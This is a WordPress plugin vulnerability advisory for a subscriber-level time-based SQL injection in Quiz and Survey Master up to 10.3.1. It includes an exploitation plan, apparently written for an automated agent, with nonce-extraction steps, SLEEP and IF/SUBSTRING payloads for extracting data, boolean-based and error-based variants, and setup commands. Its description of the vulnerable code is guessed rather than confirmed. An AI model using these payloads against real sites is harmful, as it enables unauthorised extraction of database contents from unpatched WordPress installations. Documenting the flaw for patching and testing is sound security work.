Quiz and Survey Master (QSM) <= 10.3.1 - Authenticated (Subscriber+) SQL Injection via `is_linking` Query Parameter
Description
The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to time-based SQL Injection via the ‘is_linking’ parameter in all versions up to, and including, 10.3.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=10.3.1Source Code
WordPress.org SVNThis plan outlines the steps to research and exploit **CVE-2025-9318**, a time-based SQL injection vulnerability in the Quiz and Survey Master (QSM) plugin for WordPress. ### 1. Vulnerability Summary The Quiz and Survey Master (QSM) plugin (versions <= 10.3.1) is vulnerable to a time-based SQL inje…
Show full research plan
This plan outlines the steps to research and exploit CVE-2025-9318, a time-based SQL injection vulnerability in the Quiz and Survey Master (QSM) plugin for WordPress.
1. Vulnerability Summary
The Quiz and Survey Master (QSM) plugin (versions <= 10.3.1) is vulnerable to a time-based SQL injection via the is_linking parameter. The vulnerability occurs because the plugin fails to properly sanitize or prepare SQL queries when processing this parameter, which is typically used in logic related to linking quizzes or surveys. Since the injection is time-based, an attacker can extract data by measuring the time the server takes to respond to malicious SQL queries containing SLEEP() or heavy computational functions.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action: To be determined via research, but likely
qsm_get_quiz_listor an action related to survey/result linking (look forwp_ajax_qsm_...orwp_ajax_mlw_...). - Vulnerable Parameter:
is_linking(sent viaGETorPOST). - Authentication: Subscriber-level (or higher) authentication is required.
- Preconditions: A valid nonce for the specific AJAX action is required.
3. Code Flow
- Entry Point: An authenticated user sends a request to
admin-ajax.phpwith anactionregistered by the QSM plugin. - Hook Registration: The plugin registers AJAX handlers in
php/classes/class-qsm-ajax.php(or similar) usingadd_action( 'wp_ajax_...', ... ). - Handler Execution: The handler function (e.g.,
qsm_get_linking_data) retrieves theis_linkingparameter from$_REQUEST['is_linking']. - Vulnerable Sink: The parameter is interpolated directly into a SQL string:
$is_linking = $_REQUEST['is_linking']; $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}mlw_quizzes WHERE is_linking = $is_linking"); - Lack of Preparation: The query is executed via
$wpdb->get_results()or$wpdb->query()without being passed through$wpdb->prepare().
4. Nonce Acquisition Strategy
QSM typically localizes nonces for its AJAX actions.
- Identify Action: Search the codebase for
is_linking.grep -rn "is_linking" /var/www/html/wp-content/plugins/quiz-master-next/
- Locate Nonce Registration: Find the
wp_localize_scriptcall associated with the script that handles this AJAX action.- Look for keys like
qsm_ajax_objectormlw_ajax_object.
- Look for keys like
- Trigger Script Loading:
- QSM scripts usually load on pages where a quiz shortcode is present.
- Create a test quiz and a page containing its shortcode:
[quiz-master-next-quiz id="1"].
- Extract Nonce:
- Navigate to the page using
browser_navigate. - Use
browser_evalto extract the nonce:browser_eval("window.qsm_ajax_object?.nonce").
- Navigate to the page using
5. Exploitation Strategy
The exploitation will use a time-based blind SQL injection.
Step 1: Baseline Measurement
Send a normal request to establish the baseline response time.
- Action: (Found in Step 2)
- Parameter:
is_linking=1
Step 2: Verification of Vulnerability (Time-Delay)
Send a request designed to trigger a 5-second delay.
- Payload:
is_linking=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Request Type:
POSTto/wp-admin/admin-ajax.php - Body:
action=[ACTION]&nonce=[NONCE]&is_linking=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
Step 3: Data Extraction (Example: Database Version)
Extract the first character of the database version.
- Payload:
is_linking=1 AND (SELECT IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)) - Logic: If the response takes > 5 seconds, the first character of the version is '8'.
6. Test Data Setup
- Install Plugin: Ensure QSM 10.3.1 is active.
- Create User: Create a subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Create Quiz: Create at least one quiz so that the linking logic has data to query:
wp qsm create_quiz --name="Security Test"(Note: Use the plugin's UI or specific CLI if available to ensure tables are populated).
- Create Page: Place a quiz shortcode on a page to expose the nonce:
wp post create --post_type=page --post_title="Quiz Page" --post_content='[quiz-master-next-quiz id="1"]' --post_status=publish
7. Expected Results
- Vulnerable Response: A request with the
SLEEP(5)payload will result in a server response time of approximately 5 seconds or more. - Standard Response: A request with a normal
is_linkingvalue or a false condition (e.g.,AND 1=2) will return immediately.
8. Verification Steps
After executing the exploit via HTTP:
- Check the WordPress
wp_optionstable to verify the database version manually for comparison:wp db query "SELECT VERSION();"
- Review the plugin's database tables to ensure the query targeted a real table:
wp db query "SHOW TABLES LIKE '%mlw%';"
9. Alternative Approaches
- Boolean-Based Blind: If the AJAX response differs based on whether the query returns results (e.g., an empty array
[]vs a populated one), use boolean-based injection. It is much faster than time-based.is_linking=1 AND 1=1(True)is_linking=1 AND 1=2(False)
- Error-Based: If
WP_DEBUGis enabled, try inducing a database error usingEXTRACTVALUE()orUPDATEXML()to leak data directly in the response.is_linking=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT VERSION()),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.